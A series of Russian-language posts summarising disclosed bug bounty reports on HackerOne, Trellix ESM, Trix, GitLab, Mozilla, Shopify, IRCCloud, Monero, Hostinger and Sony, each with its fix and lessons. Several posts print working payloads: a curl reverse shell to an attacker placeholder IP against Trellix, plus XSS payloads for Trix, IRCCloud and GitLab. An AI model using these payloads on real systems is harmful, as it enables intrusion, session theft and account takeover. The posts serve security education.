🤔 HackerOne уязвим? Да, и ещё как!

Недавно исследователь avinash_ обнаружил, что публичный JSON-эндпоинт HackerOne /reports/:id.json мог сливать тонны личных данных пользователей. И всё из-за, казалось бы, безобидной фичи – summary в репортах!

🐞 Суть бага: лишняя болтливость API
Если в публично раскрытом отчёте на HackerOne присутствовал хотя бы один summary (краткое резюме от репортёра или команды), то API-эндпоинт /reports/[id].json вместо того, чтобы отдавать только текст этого summary, целиком сериализовал связанную запись пользователя (reporter/author). Это классический Information Disclosure.

💧 Что утекало? Практически всё!
В результате любой мог получить доступ к чужим email-адресам, хэшам TOTP-секретов, OTP-резервным кодам, номерам телефонов, токенам GraphQL, размерам футболок и многим другим полям, которые явно не предназначались для публичного просмотра. 😱

🔧 Техническая сторона: "умный" сериализатор подвёл
Скорее всего, проблема крылась в «слишком умном» сериализаторе (в Rails-мире это мог быть ActiveModel::Serializers или Jbuilder). Вместо явного указания полей для вывода (whitelist), он по умолчанию вытягивал все поля ассоциированной модели User. Иронично, что баг появился после релиза, который выкатили всего за 90 минут до репорта – настоящий "0-day на самом HackerOne"!

💣 Утечка была критической:
– TOTP-секрет + резервные коды = фактический обход 2FA при известном пароле.
– Токен graphql_secret_token мог позволить эмулировать запросы от имени пользователя.
– Email и телефон – прямая дорога к фишингу и SIM-swapping.
Уязвимость затрагивала все раскрытые отчёты с summary, а это десятки тысяч профилей.

🛠 Фикс и награда
Инженеры H1 подтвердили и исправили баг в течение полутора дней, заставив сериализатор отдавать строго ограниченный набор публичных полей. Исследователь avinash_ получил за свою находку $25,000! 💰

🎓Этот случай – отличное напоминание:
1. Всегда используйте explicit whitelist при сериализации объектов, особенно User-моделей.
2. Автоматические тесты на изменения в API и DAST/снапшот-тесты после миграций сериализаторов – мастхев.
Даже компании, специализирующиеся на безопасности, могут допустить классические ошибки.

➡️ Полный разбор этого интереснейшего репорта читайте на сайте:
eh.su/reports/81

💣 0-click RCE в Trellix Enterprise Security Manager 11.6.10: Классическая связка из двух уязвимостей, которая позволила получить полный контроль над SIEM-системой.

🔗 Вся магия начиналась с неверно сконфигурированной директивы ProxyPass в Apache. Запросы к /rs без аутентификации проксировались на локальный AJP-порт 8009 (ProxyPass /rs ajp://localhost:8009/rs). Исследователь использовал трюк с "Breaking Parser Logic" (помните доклад Orange Tsai?), добавив ..;/ в URL. Apache считал это валидным, а Tomcat нормализовал путь, открывая доступ к внутреннему Snowservice и его API SnowflexAdminServices.

💻 Дальше – дело техники! В методе ManageNode этого самого Snowservice параметр name передавался прямиком в системную команду sh -c <name>. Конечно же, без какой-либо фильтрации. Обернув пейлоад в обратные кавычки (например, id), можно было выполнить произвольные команды с правами root. Пример для получения шелла:

curl -k -X POST https://<ESM>/rs/..;/Snowservice/SnowflexAdminServices/ManageNode -d '{"serverName":"poc","processes":[{"name":"bash -i >& /dev/tcp/<ATTACKER_IP>/2137 0>&1","signal":"Restart"}]}'

💥 Итог: неаутентифицированный удаленный захват SIEM-сервера с root-привилегиями, доступ к чувствительным логам и возможность дальнейшего продвижения по сети. Ошибка в конфигурации прокси и отсутствие валидации пользовательского ввода – гремучая смесь!

🛡 Команда Trellix отреагировала оперативно: баг был подтвержден, и патч выпущен в разумные сроки. Это хороший пример того, насколько важно тщательно настраивать проксирование и всегда валидировать пользовательский ввод, особенно когда речь идет о передаче данных в системные вызовы.

📖 Полный разбор с техническими деталями, PoC и хронологией доступен здесь:
eh.su/reports/82

👋 Stored XSS в довольно популярном WYSIWYG-редакторе Trix (версии 2.1.1), который используется в Basecamp и Rails ActionText.

🐞 Суть уязвимости: Исследователь thwin_htet обнаружил, что Trix некорректно санитайзил HTML, вставляемый из буфера обмена. Если подменить contentType на text/html5 внутри атрибута data-trix-attachment, то встроенный санитайзер пропускал теги <img> с инлайновыми обработчиками событий, например, onerror. Это приводило к постоянному выполнению JS-кода у всех, кто открывал зараженную заметку, задачу или комментарий.
Забавно, что это был обход патча CVE-2024-34341, выпущенного месяцем ранее!

🛠 Как это работало? Атакующий мог создать специальную HTML-структуру:

<div data-trix-attachment='{"contentType":"text/html5","content":"<img src=1 onerror=alert(document.domain)>XSS POC"}'></div>

При копировании и вставке этого (скрытого) содержимого в редактор Trix, XSS-ка сразу же отрабатывала. Просто, но изящно!

💥 Импакт был серьезным:
– Кража CSRF-токенов и сессионных cookies.
– Выполнение действий от имени пользователя (создание/удаление задач, отправка сообщений).
– Теоретическая возможность создания XSS-червя.

💸 Награда и фикс: Баг был подтвержден, и исследователь получил $1000 (нижняя граница для high-severity). Уязвимость была исправлена в Trix 2.1.5 (PR #1156), а GitHub присвоил ей новый идентификатор GHSA-qm2q-9f3q-2vcv.


💡 Любые комплексные форматы данных (аттачи, oEmbed, Markdown) требуют многоступенчатой и тщательной дезинфекции. "Скрытые" поля и метаданные часто становятся идеальным вектором для атаки. Не забывайте про CSP и регрессионные тесты!

🔗 Узнать все технические детали и посмотреть PoC можно в полном разборе:
eh.su/reports/85

🎯 Разбор свежего репорта на GitLab: Недавно там всплыл интересный IDOR, который позволял получить доступ ко всем моделям машинного обучения через их ML Model Registry (фича, появившаяся в GitLab ≥ 15.11). Исследователь moblig обнаружил, что этот модуль "забывал" проверять права доступа в GraphQL.

🔍 Как это работало? Достаточно было знать (или просто перебрать) инкрементный глобальный ID модели, например, gid://gitlab/Ml::Model/1000401. С таким ID можно было через GraphQL-запрос getModel вытащить полное описание даже приватной модели: конфиденциальные параметры обучения, ссылки на артефакты, CI-джобу, пользователя и так далее.

🔩 Корень зла: Отсутствие проверки политики Ml::ModelPolicy в GraphQL-резолвере MlModelResolver. Запросы проходили авторизационный слой REST, но внутрь GraphQL они попадали напрямую, а ID генерировались монотонно и предсказуемо. Простым декрементом можно было перебрать весь пул объектов!

💥 Последствия: Любой авторизованный пользователь GitLab.com или self-managed инстанса (даже с бесплатного аккаунта!) мог скачать или просмотреть все модели, независимо от приватности проектов. Это утечка исследовательских датасетов, бизнес-логики и CI-пайплайнов. Сложность атаки – минимальная.

🛠 Результат: Уязвимость оперативно исправили (Issue #466224), а исследователь получил награду в $1160. Отличная работа!

💡 GraphQL – мощный инструмент, но его слой авторизации часто упускают из виду, особенно в новом функционале. А ведь в ML-моделях может храниться куда больше чувствительных данных (гиперпараметры, метрики), чем кажется на первый взгляд, что позволяет воссоздать конкурентную ML-разработку.

🔗 Полный разбор, как всегда, ждет вас по ссылке:
eh.su/reports/86

📢 Утечка токена Netlify в CI-логах Mozilla: когда --debug выходит боком!

Сегодня под микроскопом репорт о том, как обычный CI-лог может превратиться в золотую жилу для атакующего. Речь пойдет об утечке Bearer-токена Netlify в публичных логах firefox-ci-tc.services.mozilla.com.

🔍 Исследователь samirsec0x01 неспешно просматривал публичный лог одной из билд-задач в Taskcluster (CI/CD система Mozilla) и наткнулся на строку с префиксом auth:. Бинго! Прямо в логе лежал валидный Bearer-токен для Netlify. Быстрая проверка через curl -H "Authorization: Bearer …" https://api.netlify.com/api/v1/accounts подтвердила – токен живой и дает доступ к команде «Mozilla IT Web SRE».

🤦‍♂️ Корень зла оказался до банальности прост. Билд-скрипт для деплоя сайта crash-pings.mozilla.org использовал CLI-утилиту Netlify. При включённом флаге --debug эта утилита любезно выводила токен авторизации прямо в stdout. А Taskcluster, в свою очередь, делал stdout публичным. Классический Secret leak из-за неверной конфигурации, а не бага в самих Netlify или Taskcluster!

💥 Что же мог натворить злоумышленник с этим токеном?
– Получить полный список сайтов команды.
– Перехватить и подменить содержимое сайта crash-pings.mozilla.org.
– Прочитать ENV-переменные, логи и другие секреты проекта.
– Изменить billing-email, открыв путь к финансовым махинациям.
И самое "вкусное" – добиться RCE (Remote Code Execution) через Netlify Deploy Functions, отправив PUT-запрос на https://api.netlify.com/api/v1/deploys/{deploy_id}/functions/shell.

💰 Интересный момент возник в коммуникации с программой. Исследователь настаивал на критическом рейтинге и более крупной выплате (по его словам, он "целится купить машину" 😉). Триажер возразил: да, утечка секрета в CI-логах – это критично, но воздействие затрагивает "второстепенный" сайт (crash-pings.mozilla.org), а не критический ассет самой Mozilla. В итоге, программа установила выплату в $1000 + бонус $500, что соответствовало их политике (критическая уязвимость, но на out-of-scope активе).

Этот кейс – отличное напоминание, что дьявол кроется в деталях конфигурации CI/CD пайплайнов. Даже самые надежные инструменты могут подвести, если их неправильно настроить.

🔗 Полный разбор и детали репорта (включая скриншоты переписки и политик) можно найти здесь:
eh.su/reports/88

👋 Сегодня на повестке дня сочный кейс с HackerOne по Shopify Partners, где отсутствие простой проверки email привело к захвату аккаунтов.

🎯 В Shopify Partners изменили механизм приглашений: ссылка-инвайт стала активна даже без подтверждения email адреса владельцем. Это открыло дорогу для Privilege Escalation: злоумышленник мог зарегистрировать аккаунт на почту жертвы, получить сессионные куки _partners_session, а затем, когда реального пользователя приглашали в партнёрскую организацию, просто перехватить этот инвайт и стать Owner!

🚀 Эксплуатация была довольно изящной:
1. Собираем email'ы потенциальных жертв (OSINT, LinkedIn и т.д.).
2. Массово регистрируем аккаунты на эти адреса на partners.shopify.com/signup/user, сохраняя _partners_session.
3. Скриптом автоматизируем проверку поля pendingInvitations у созданных аккаунтов.
4. Как только появляется приглашение, скрипт автоматически кликает acceptInvitationPath. Вуаля, мы Owner! И все это без какого-либо взаимодействия с жертвой.

🤔 Самое интересное началось при обсуждении CVSS. Shopify посчитали это за 4.8 (Medium), ссылаясь на необходимость "угадать" email и успеть раньше легитимного пользователя (AC:H). Однако исследователь настаивал на 9.1 (Critical), ведь для атаки не требовалось ни начальных привилегий, ни специфичных условий со стороны жертвы. В итоге баг был признан, а баунти составило $3,500.

🛠 Фикс от Shopify оказался простым и логичным: теперь при попытке принять инвайт с неподтвержденной почты система требует сначала верифицировать email сообщением «Verify your email first».


🔗 Заинтересовались деталями, включая скрипт для мониторинга и полную переписку по CVSS?
Все подробности в отчёте на сайте:
eh.su/reports/89

🚨 Как пользователь с ограниченными правами смог создавать несанкционированные referrals в Shopify Partners. Классика, которую любят все!

🚶‍♂️ Исследователь создал в partners.shopify.com тестовую организацию и пригласил туда второго участника, предварительно сняв у него права на просмотр рефералов («View referrals»). Как и ожидалось, прямой переход на страницу https://partners.shopify.com/<partner_id>/referrals/ для этого пользователя закончился ошибкой доступа. Однако! Через аккаунт администратора была найдена функция «Submit a POS Lead», которая обращалась к внутреннему эндпоинту: https://partners.shopify.com/<partner_id>/partner_leads/pos. Попытка открыть этот URL из-под ограниченного пользователя увенчалась успехом – форма создания referral была полностью доступна, и он смог успешно отправить её! 💥

⚙️ В чем же была магия? Всё дело в Broken Access Control (BAC) с элементами IDOR. На сервере отсутствовала проверка на наличие пермишена View referrals для маршрута /partner_leads/pos и связанных с ним POST-запросов. Клиентский интерфейс, конечно, скрывал кнопку, но API не требовал нужного scope. Достаточно было иметь любую валидную партнёрскую сессию.

📈 Влияние: Такая уязвимость напрямую била по целостности данных (Integrity). Ограниченный сотрудник мог бесконтрольно создавать POS referrals, искажая партнёрскую статистику, влияя на комиссионные и отчётность. Shopify оценил этот баг в CVSS 4.3 (Medium).

✅ Реакция и фикс: Shopify молодцы – быстро подтвердили уязвимость (через неделю после репорта) и через несколько суток выкатили исправление. Теперь на эндпоинте /partner_leads/pos стоит серверная проверка прав, и неавторизованный доступ возвращает 403 Forbidden.

🔗 Полный разбор, как всегда, доступен по ссылке:
eh.su/reports/90

https://youtu.be/HdJVFXTmEC0 я пытался шутить в этом видео

👻 Сегодня у нас на повестке дня интересный репорт с HackerOne, который отлично показывает, как даже небольшая разница в ответах сервера может привести к утечке весьма чувствительной информации. Речь пойдет о том, как можно было проникнуть за завесу и узнать о приватных программах!

🔍 Наш герой, исследуя настройки своей sandbox-программы на H1, обратил внимание на ссылку "Download list of finders that have accepted terms (.CSV)". Ссылка оказалась предсказуемой: https://hackerone.com/<handle>/terms_acceptance_data.csv.

🕵️‍♂️ Тут начинается самое интересное! Исследователь решил подставить в URL другие handle'ы и обнаружил неожиданное поведение:

– Для sandbox-программ файл скачивался (пусть и пустой).
– Для private (invite-only) программ сервер отвечал обычным 404 "Page not found".
– А вот для несуществующих handle'ов выдавалась брендированная страница 404 от HackerOne.
Эта минимальная, но стабильная разница в ответах сервера стала ключом к багу!

💥 Суть баги: Это классический случай IDOR (Insecure Direct Object Reference) в связке с information disclosure. Эндпоинт terms_acceptance_data.csv для sandbox-программ не проверял разрешения download_terms_csv, тогда как для приватных программ он заворачивал запрос в стандартный контроллер, выдавая обычный 404. Отсутствие единообразной обработки ошибок (uniform error handling) позволило любому залогиненному пользователю (даже без инвайта в целевую программу!) по реакции сервера определить, является ли тестируемый handle приватной программой или нет.

😈 Влияние: Возможность собрать каталог приватных invite-only программ — это прямая потеря конфиденциальности самого факта их существования. Зная, что такая программа есть, злоумышленники могли бы проводить целевые фишинговые атаки или социальную инженерию на ее потенциальных участников.

💸 Что по фиксу и баунти? Команда H1 оперативно всё поправила: теперь все неавторизованные запросы к terms_acceptance_data.csv всегда возвращают единый 404, независимо от типа программы. Загружать CSV разрешено только членам соответствующей баг-баунти команды. Несмотря на CVSS 6.1 (Medium), H1 классифицировала баг как Low, основываясь на своей внутренней политике о раскрытии факта существования приватной программы. Баунти составило $500.

💡 Урок для нас: Всегда обращайте внимание на мельчайшие различия в ответах сервера — будь то код ответа, размер страницы, заголовки или даже текст ошибки. Именно в этих деталях часто кроется возможность для перечисления скрытых сущностей (enumeration) и утечки информации!

🔗 Хотите углубиться? Полный текст репорта с HackerOne доступен по ссылке:
eh.su/reports/92

📌 XSS через Mastodon embeds на IRCCloud

📝 Сервис IRCCloud умел автоматически встраивать превью для ссылок на посты в Mastodon. Для этого он запрашивал метаданные по API и, что самое важное, слепо доверял полю url из ответа, используя его для создания <iframe src="...">.

💥 Исследователь под ником lotsofloops поднял свой инстанс Mastodon (sm4.ca) и в JSON-ответе на запрос метаданных подставил пейлоад в поле url:

javascript:top.document.body.innerHTML = "hi your cookie is " + document.cookie;//

В результате, браузер жертвы создавал iframe с javascript:-схемой, и скрипт тут же выполнялся, получая полный доступ к объекту top родительского окна, включая куки сессии IRCCloud. И всё это без какого-либо взаимодействия со стороны жертвы – достаточно было просто отправить ссылку в чат!

🛠 Первый фикс от IRCCloud заключался в блокировке опасных URL-схем (javascript:, data:, vbscript: и т.д.). Однако, его удалось обойти, просто добавив пробел, таб или управляющий символ перед двоеточием (например, javascript :).
Финальное решение – валидация протокола через new URL(...).protocol, что оказалось куда надежнее ручных проверок startsWith().

💣 Импакт: Кража сессионных кук вела к полному захвату аккаунта IRCCloud. Уязвимость представляла собой DOM-based XSS, но вела себя как Stored XSS, так как вредоносная ссылка оставалась в истории чата. Классическая цепочка «пользовательский URL → iframe → javascript:» снова в деле! За этот репорт было выплачено $500.

🔗 Полный разбор и все детали вы найдете по ссылке:
eh.su/reports/94

🔥 Stored XSS в GitLab Wiki через Banzai pipeline!

Да-да, снова XSS, и на этот раз в Wiki GitLab. Уязвимость позволяла через специально подготовленную Markdown-разметку внедрить HTML, который после хитроумных преобразований в браузере превращался в полноценный Stored XSS с обходом CSP. А всё из-за особенностей работы Banzai pipeline!

🐛 В чём была соль?
Ресёрчер подметил, что фильтр AbstractReferenceFilter (часть Banzai) сверял ссылку лишь по её началу (link_pattern_start), а вот замену (gsub) производил по полному регулярному выражению. Это создавало забавное расхождение: второе совпадение ссылки внутри той же строки могло угодить прямиком в атрибут alt вложенного тега <a>. Оттуда оно уже не проходило должную санитизацию. Если такую конструкцию сохранить на Wiki-странице (например, в _sidebar.md), скрипт превращался в классический Stored XSS, срабатывающий у всех посетителей проекта.

🤯 Магия mXSS и обход CSP!
Для эксплуатации использовалась техника mXSS (mutation XSS). В href внедрялся примерно такой пейлоад:

*<svg><style><img/src="0"onerror="alert(0)"></style></svg>

На бэкенде Nokogiri (HTML4-парсер) видел лишь безобидный <img>. А вот браузер (с его HTML5-парсером) после DOM-мутаций "достраивал" эту конструкцию до рабочего <img src=... onerror=...>, который исполнялся вне <svg>, эффективно обходя даже строгую CSP на gitlab.com! Это происходило из-за того, что часть данных из оригинальной ссылки (после gsub) попадала в атрибут alt таким образом, что символ " позволял "вырваться" и добавить новые атрибуты или закрыть текущий.

💣 Какие были последствия?
Любой участник проекта с правами на редактирование Wiki мог выполнить произвольный JavaScript в браузере любого посетителя этой Wiki-страницы. С учетом обхода CSP, это открывало дорогу к прямому доступу к REST API от имени жертвы. Как бонус – утечка названий приватных issues/merge requests через "засветившиеся" alt атрибуты.

🛡 Фикс и что делать?
GitLab оперативно выпустил патч в релизе 16.10.1. Командам, использующим форки или self-hosted экземпляры, настоятельно рекомендуется обновиться! Основные уроки: сопоставлять регулярки полностью, а не только префиксы, и обязательно повторно санитайзить HTML после всех внутренних фильтров.

🔗 Полный разбор и технические детали доступны по ссылке:
eh.su/reports/93

🐛 Сегодня на повестке дня интересный DoS в Monero, который можно было вызвать через RPC-сервис, просто передав слишком большое число.

⚙️ Вся соль в RPC-методе get_fee_estimate. Он принимал параметр grace_blocks (беззнаковое 64-битное целое), который мог достигать астрономического значения 18446744073709551615 (это 2^64-1, если что)
Самое забавное, что проверка на адекватность этого параметра (grace_blocks <= 100) стояла ПОСЛЕ цикла for (size_t i = 0; i < grace_blocks; ++i). Представляете, сколько итераций могло быть? 😅

🔥 Исследователь просто засыпал локально поднятую ноду асинхронными POST-запросами с максимальным значением grace_blocks. Результат предсказуем: CPU на 100%, процесс зависал намертво, и нода переставала отвечать на новые подключения. Учитывая, что Censys находил сотни публичных RPC-нод Monero, масштаб атаки мог быть весьма ощутимым, затрагивая кошельки и сервисы, зависящие от RPC для расчета комиссий.

✅ Фикс оказался до банального прост: проверку grace_blocks перенесли ДО цикла, и ограничили его значением 99. Уязвимость устранена в версии Monero 0.18.3.2. За находку исследователь получил честно заработанные 5 XMR! 💰

📖 Это классический пример ошибки логики и отсутствия должной валидации входных данных. Никаких тебе переполнений буфера или RCE, просто "бесконечный" цикл, приводящий к CPU exhaustion. Мораль: всегда валидируйте входящие параметры, особенно числа, и не стесняйтесь смотреть на порядок выполнения проверок! 😉

Подробный разбор этого кейса можно почитать на нашем сайте:
eh.su/reports/115

☣️ Web Cache Poisoning DoS в Shopify: как один \ мог всё сломать

Сегодня разберем классический Web Cache Poisoning, который мог вызвать серьезные проблемы у Shopify. Суть бага была в разном поведении CDN и origin-сервера: CDN Shopify считал, что
https://cdn.shopify.com/asset.js
и
https://cdn.shopify.com\\asset.js
— это одно и то же для ключа кэша. А вот origin-сервер так не думал и на запрос с \ отвечал 404 Not Found.

🔎 В чем суть? Атакер мог отправить один единственный запрос с обратным слэшем (\). CDN-нода, получив 404, любезно кэшировала этот ошибочный ответ для правильного URL (с /)! После этого любой пользователь, запрашивающий легитимный файл, получал закешированный 404, пока кэш не истечет. Классика, подтвержденная заголовком CF-Cache-Status: HIT.

📉 Импакт? Огромный. Любой общий JS, CSS или файл с изображением на cdn.shopify.com можно было подменить на 404-страницу. Это привело бы к частичному DoS для тысяч магазинов на платформе Shopify и даже для их собственных сервисов, ведь все ассеты грузятся именно оттуда.

💰 За эту находку исследователь получил $3800. Команда Shopify оперативно пофиксила баг, внедрив правильную нормализацию URL на уровне CDN еще до запроса к origin-серверу. Быстро, четко и по делу!

📖 Хотите узнать больше деталей, увидеть PoC-запросы и почитать о процессе фикса? Полный разбор ждет вас по ссылке:
eh.su/reports/122

💥 Захват аккаунта Hostinger в один клик: разбор красивой цепочки уязвимостей

Сегодня разберем элегантный кейс от ресерчера aziz0x48, который привел к 1-Click Account Takeover. Идеальный пример того, как одна маленькая брешь в доверии рушит всю защиту.

⛓️ Все началось с классического Open Redirect на домене аутентификации auth.hostinger.com. Как мы знаем, сам по себе он часто имеет низкий импакт. Но здесь была одна важная деталь: в белом списке разрешенных доменов для редиректа находился поддомен marketing.hostinger.com. Именно он и стал слабым звеном.

⚙️ На поддомене marketing.hostinger.com обнаружилась Reflected XSS через параметр redirect_url. В итоге получилась убийственная цепочка:

– Жертва переходит по ссылке атакующего.
– auth.hostinger.com видит, что пользователь залогинен, добавляет в URL временный auth-token и редиректит его на "доверенный" marketing.hostinger.com.
– На уязвимой странице срабатывает XSS, который простым fetch отправляет весь window.location (вместе с токеном) на сервер злоумышленника.
– Профит! Токен в руках, его можно обменять на полноценный JWT и получить полный доступ к аккаунту.

🗣 Особенно интересна коммуникация с командой безопасности. Изначально они пытались понизить критичность, ссылаясь на то, что marketing.hostinger.com — стороннее приложение вне скоупа. Ресерчер грамотно парировал:

Если ваш основной сервис доверяет поддомену и перенаправляет на него чувствительные данные, то с точки зрения безопасности это ваша проблема.

В итоге команда Hostinger согласилась и исправила уязвимость.

🎓 Главный вывод: Доверие должно быть подкреплено проверкой. Наличие поддомена в вайтлисте не делает его автоматически безопасным. Любая доверенная сущность — это часть вашей поверхности атаки.

🔗 Полный разбор кейса читайте на нашем сайте:
eh.su/reports/124

Приходите в 13:00 на моё выступление))
Подготовил для вас что-то интересное 😎

Как владелец группы мог захватить любой аккаунт

🔓 Представьте, что любой владелец группы в GitLab мог получить полный доступ к вашему аккаунту, просто заставив ваш браузер открыть скрытую картинку. Именно такая уязвимость была найдена и исправлена. Атакующий мог создать OAuth-приложение в своей группе, тайно пометить его как «trusted» (доверенное), и GitLab начинал выдавать access_token'ы для любого пользователя без экрана согласия.

💡 Вся магия крылась в незащищенном эндпоинте. В интерфейсе GitLab нельзя было сделать приложение «доверенным» на уровне группы, но исследователь предположил, что сам фреймворк Doorkeeper это умеет. Перехватив запрос в Burp, он просто добавил параметр doorkeeper_application[trusted]=1, и сервер принял его без дополнительной проверки прав! Классический пример того, почему нельзя доверять данным, приходящим с клиента.

🔗 Дальше — дело техники. Злоумышленник формировал ссылку для авторизации, где в redirect_uri был указан его собственный домен. Эту ссылку можно было вставить куда угодно, даже в тег <img>. Как только жертва, залогиненная в GitLab, открывала страницу с этой картинкой, её браузер автоматически отправлял запрос, GitLab мгновенно выдавал authorization_code и перенаправлял его на домен атакующего. Пользователь при этом ничего не замечал.

🚨 Итог — полный захват аккаунта с правами scope=api. Это давало возможность читать приватные репозитории, изменять код, красть CI/CD переменные и SSH-ключи. Уязвимость получила рейтинг Critical с оценкой CVSS 9.6.

🧠 Главный вывод для всех нас: всегда проверяйте критически важные флаги (trusted, admin и т.д.) на стороне сервера, а не просто скрывайте их в UI. Атакующий всегда найдет способ их подставить. И, конечно, валидация redirect_uri в OAuth-сценариях — это святое.

Полный разбор и детали от исследователя читайте в отчёте на нашем сайте:
eh.su/reports/125

🎧 Ваши крутые Sony WH-1000XM5 могут подружиться с кем угодно, даже без вашего ведома!

Исследователь обнаружил, что на актуальных прошивках наушники некорректно проверяют Link Key при повторном подключении. Это позволяет злоумышленнику обойти аутентификацию.

🥷 Атакующему достаточно подделать MAC-адрес и имя вашего ноутбука или смартфона (классический Bluetooth spoofing), и наушники сами к нему подключатся. Самое интересное: для этого не нужно переводить гарнитуру в режим сопряжения. Достаточно просто её включить, и она автоматически инициирует соединение с поддельным устройством.

💥 Последствия? От безобидного DoS, когда наушники «заняты» и не могут подключиться к вашему устройству, до полноценной MitM-атаки с перехватом аудиопотока и доступом к голосовому ассистенту. Уязвимость классифицирована как CWE-306 – Missing Authentication for Critical Function.

💰 А теперь самое интересное из-за кулис программы баг-баунти. Несмотря на высокий приоритет, Sony первоначально предложила... 0$ (но пообещала swag!). Ресёрчеру пришлось несколько месяцев вежливо, но настойчиво напоминать о себе, прежде чем компания подтвердила уязвимость и запланировала выпуск патча. Классика жанра для «железных» багов!

📖 Полный разбор с техническими деталями, pcap-файлами и рекомендациями для разработчиков уже ждет вас на сайте:
eh.su/reports/126

🐛 На повестке дня — классический, но от этого не менее интересный Subdomain Takeover на домене не кого-нибудь, а самого firefox.com. Исследователь обнаружил, что один из поддоменов остался без присмотра, что открыло дверь для целого ряда атак.

⛓️ Суть бага до смешного проста: поддомен ████.firefox.com через CNAME-запись указывал на ресурс www.mozilla.org, который когда-то хостился на популярной PaaS-платформе. Вот только сам хост на платформе уже удалили, а про DNS-запись попросту забыли. Классический dangling CNAME, который позволил исследователю зарегистрировать этот «бесхозный» хостнейм на себя и получить полный контроль над контентом.

💣 Помимо очевидных векторов вроде фишинга и распространения malware под видом официальных обновлений Firefox, репортёр продемонстрировал и более изящную атаку — Cookie Bombing. Загрузив на захваченный поддомен страницу, которая устанавливает куки огромного размера (~100 KB), он смог вызвать ошибку 413 Request Entity Too Large для всего домена firefox.com, эффективно блокируя доступ для пользователей.


✅ Автоматизация и гигиена DNS — наше всё. Неполный офф-бординг ресурсов — частая причина таких уязвимостей. Регулярные сканы на «висящие» записи (привет, subjack!) и четкие чек-листы в CI/CD при удалении сервисов помогают избежать подобных ситуаций.
Даже строгие CAA-записи, как в случае с Mozilla, не спасают на 100%, а лишь усложняют эксплуатацию для атакующего.

📖 Полный разбор с техническими деталями и скриншотами как всегда по ссылке:
eh.su/reports/127